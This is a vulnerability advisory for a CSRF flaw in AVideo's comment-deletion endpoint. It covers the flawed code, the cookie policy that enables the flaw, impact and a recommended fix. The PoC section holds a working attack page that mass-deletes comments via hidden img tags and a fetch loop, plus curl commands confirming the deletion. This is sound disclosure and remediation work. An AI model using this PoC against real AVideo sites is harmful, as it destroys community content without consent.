CVE-2026-40929 — wwbn/avideo

Summary

objects/commentDelete.json.php is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call forbidIfIsUntrustedRequest(), does not verify a CSRF/global token, and does not check Origin/Referer. Because AVideo intentionally sets session.cookie_samesite=None (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's PHPSESSID. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.

Details

Vulnerable endpoint: objects/commentDelete.json.php

// objects/commentDelete.json.php:1-35
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
    require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_REQUEST['id']);      // <-- GET or POST
$obj->status = false;

if (empty($obj->id)) {
    $obj->id = intval(@$_REQUEST['comments_id']);
}

if (empty($obj->id)) {
    $obj->msg = __("ID can not be empty");
    die(_json_encode($obj));
}

$objC = new Comment("", 0, $obj->id);
$obj->videos_id = $objC->getVideos_id();
$obj->status = $objC->delete();           // <-- destructive action, no CSRF check
...

No forbidIfIsUntrustedRequest(), no verifyToken(), no token/nonce parameter, no Origin/Referer validation. The handler accepts $_REQUEST, so the request may be delivered as GET (e.g. via <img src>) or POST (e.g. via an auto-submitting form / fetch).

Authorization inside Comment::delete() does not stop CSRF

// objects/comment.php:147-159
public function delete() {
    if (!self::userCanAdminComment($this->id)) {
        return false;
    }
    ...
    $sql = "DELETE FROM comments WHERE id = ?";
    ...
    return sqlDAL::writeSql($sql, "i", [$this->id]);
}

// objects/comment.php:316-332
public static function userCanAdminComment($comments_id) {
    if (!User::isLogged()) { return false; }
    if (Permissions::canAdminComment()) { return true; }   // site moderator
    $obj = new Comment("", 0, $comments_id);
    if ($obj->users_id == User::getId()) { return true; }  // comment owner
    $video = new Video("", "", $obj->videos_id);
    if ($video->getUsers_id() == User::getId()) { return true; } // video owner
    return false;
}

This check is exactly what CSRF abuses: it asks "is the session user allowed to delete this comment?" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request.

Site-wide cookie policy makes cross-site delivery reliable

// objects/include_config.php:139-146
if ($isHTTPS) {
    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding
    // where users must stay authenticated (e.g. video players on third-party sites).
    // Setting Lax would break that use case. All state-mutating endpoints that are
    // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

The in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. commentDelete.json.php forgets to apply it. The canonical example that does get it right is objects/userUpdate.json.php:18:

// objects/userUpdate.json.php:13-18
if (!User::isLogged()) {
    $obj->msg = __("Is not logged");
    die(json_encode($obj));
}

forbidIfIsUntrustedRequest();   // <-- what commentDelete.json.php is missing

A repository-wide grep for forbidIfIsUntrustedRequest yields only objects/userUpdate.json.php and the function definition itself — no shared middleware exists, and no bootstrap in configuration.php / include_config.php wraps endpoints with a CSRF check.

Attacker model / victim value

• Site moderators (any account with Permissions::canAdminComment()): full-site comment deletion oracle.
• Video creators (channel owners): deletion oracle for every comment on their own videos.
• Comment authors: only their own comments (self-DoS, low value).

The first two classes make this a real integrity/availability attack on community content.

PoC

Assume the target AVideo instance runs at https://victim.example.com and the victim is a logged-in moderator (or any video owner). The attacker hosts:

<!-- https://attacker.example/mass-delete.html -->
<!doctype html>
<html><body>
<h1>Cute kittens</h1>
<!-- GET variant (works because the endpoint uses $_REQUEST): -->
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=1" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=2" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=3" style="display:none">
<!-- ... up to N -->

<!-- POST variant (same result, reaches the POST code path the legit UI uses): -->
<script>
for (let i = 1; i <= 10000; i++) {
  fetch("https://victim.example.com/objects/commentDelete.json.php", {
    method: "POST",
    credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "comments_id=" + i
  });
}
</script>
</body></html>

Manual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token):

# 1. Log in as a moderator and capture PHPSESSID
curl -c cookies.txt -d 'user=moderator&pass=pass' \
  https://victim.example.com/objects/userLogin.json.php

# 2. Call the endpoint with nothing but the session cookie and a comments_id.
#    No CSRF token, no Referer/Origin matching the site.
curl -b cookies.txt \
  -H 'Origin: https://attacker.example' \
  -H 'Referer: https://attacker.example/mass-delete.html' \
  'https://victim.example.com/objects/commentDelete.json.php?comments_id=1'
# -> {"error":false,"msg":"","id":1,"status":true,"videos_id":...}

The {"status":true,"error":false} response confirms the row was deleted; compare with objects/userUpdate.json.php under the same Origin/Referer, which returns the "Invalid Request" forbidden page from forbidIfIsUntrustedRequest().

Impact

• Cross-site mass deletion of comments.
• Against a site moderator (Permissions::canAdminComment()), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer.
• Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).
• The attack only requires luring a logged-in victim to any page that can fetch/embed/submit — a forum post, a compromised ad, a link in email, a rogue embed.
• No credential compromise is required; the attack does not leak data, but it destroys it.
• Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.

Recommended Fix

Apply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate:

1. Require an authenticated session and reject untrusted-origin requests (same treatment as userUpdate.json.php).
2. Restrict the method to POST so drive-by <img> and navigational GET deliveries cannot reach the sink.

// objects/commentDelete.json.php
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
    require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';

// --- added CSRF defense ---
if (!User::isLogged()) {
    die(_json_encode((object)['error' => true, 'msg' => __('Is not logged')]));
}
forbidIfIsUntrustedRequest();                       // Referer/Origin gate
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {         // no $_REQUEST drive-by
    die(_json_encode((object)['error' => true, 'msg' => 'POST required']));
}
// --- end added ---

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_POST['id']);
$obj->status = false;

if (empty($obj->id)) {
    $obj->id = intval(@$_POST['comments_id']);
}
...

Stronger (recommended): also require a short-lived global token via verifyToken() as the in-source comment in objects/include_config.php prescribes, and audit every other objects/*.json.php handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces forbidIfIsUntrustedRequest() for any json.php that mutates state.